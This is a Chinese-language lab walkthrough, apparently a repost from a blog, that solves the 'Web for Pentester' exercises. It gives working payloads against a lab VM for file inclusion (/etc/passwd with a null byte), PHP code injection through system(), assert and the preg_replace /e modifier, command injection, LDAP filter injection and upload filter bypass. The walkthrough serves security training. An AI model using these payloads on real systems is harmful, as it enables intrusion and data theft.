web_for_pentester代码解析

这章没写的在前面俩章

file include

通过page参数传入数据,并且使用include()函数将其包含进来

所以payload

page=../../../../../../etc/passwd

第二关

这里通过page传入数据,然后与.php拼接后传递给$file,这里的$file经过正则处理,将%00.*替换为空。

所以用%00过滤掉后面的%00

page=../../../../../../etc/passwd%00

code injection

第一关

构造闭合然后使用系统命令就可以了

name=".system('ls')%3b%23

显示结果

example1.php example2.php example3.php example4.php index.html Hello index.html

虽然显示想要的结果但是有一点小问题后来发现原因比如

<?php

$a = 'hello';

$$a = 'world';

echo "$a ${$a}";

echo "$a $hello";

?>

显示结果为

hello worldhello world

这俩个输出都是hello world

还有一种方式是这样

name=${${phpinfo()}}

第二关

问题在这里,create_function可以执行代码

先介绍下cerate_function函数

官方的例子

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc";
echo $newfunc(2, M_E) . "
";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>

所以这里闭合掉前面的参数,使用后面的参数来构造命令

order=id);}system('uname -a');#   (需要用url编码)

第三关

在php正则下 /e修正符使preg_replace()将replacement参数当作PHP代码。因此但满足了在语句的构造中有 /e修正符,此修饰符将导致函数preg_replace执行替换之前将新值作为PHP代码计算。

所以payload 

example3.php?new=system("pwd")&pattern=/lamer/e&base=Hello lamer (注意/e)

第四关

基于函数assert,如果使用不正确,此函数将计算接收的值

所以payload

name=hacker'.system("whoami").'

command injection

第一关

通过ip传入参数,然后使用system命令执行

example1.php?ip=127.0.0.1;whoami

第二关

匹配数字,并且从头到尾检查然后使用/m每行检查。使用换行符绕过

example2.php?ip=127.0.0.1%0Aid

第三关

如果ip不正确就会重定向到127.0.0.1

打开终端输入

echo -e "GET /commandexec/example3.php?ip=127.0.0.1%26%26ls HTTP/1.1 Host: 192.168.22.152 Connection: close " | nc 192.168.22.152 80  (这个的前提使安装netcat)

或者使用

curl http://192.168.22.152/commandexec/example3.php?ip=127.0.0.1|id

LDAP attacks

LDAP注入是一种用于利用基于web的应用程序的攻击,这些应用程序根据用户输入构造LDAP语句。当应用程序不能正确地过滤用户输入时,可以使用本地代理修改LDAP语句。这可能导致执行任意命令,比如向未授权的查询授予权限,以及修改LDAP树中的内容。SQL注入中可用的高级开发技术也可以类似地应用于LDAP注入。

 第一关

代码中使用函数绑定参数,通过null值来绕过

/ldap/example1.php

第二关

这里目标式注入用户名,)(cn=*))%00&password=rtrtrtr

使用当前筛选器的末尾hacker)

保持永真的条件(cn=*)

保留有效的语法并闭合第一个语法 )

删除筛选器末尾的NULL字节  (%00)

利用

name=hacker)(cn=*))%00&password=rtrtrtr

用nmap跑下

nmap -p 389 --script ldap-search 192.168.22.152

file upload

第一关

没做什么过滤条件,直接上传php文件就可以

第二关

 过滤也比较简单,检查后缀名是否是php,但是大小写不敏感所以直接使用大小写绕过就可以了

参考博客http://wg135.github.io/blog/2016/03/21/pentestlab-web-for-pentester-command-injection/

http://www.lmxspace.com/2018/05/15/%E4%BB%8Eweb-for-pentest%E7%9C%8Bphp%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/#0x06-Commands-injection

原文地址:https://www.cnblogs.com/zhao-yang/p/13876766.html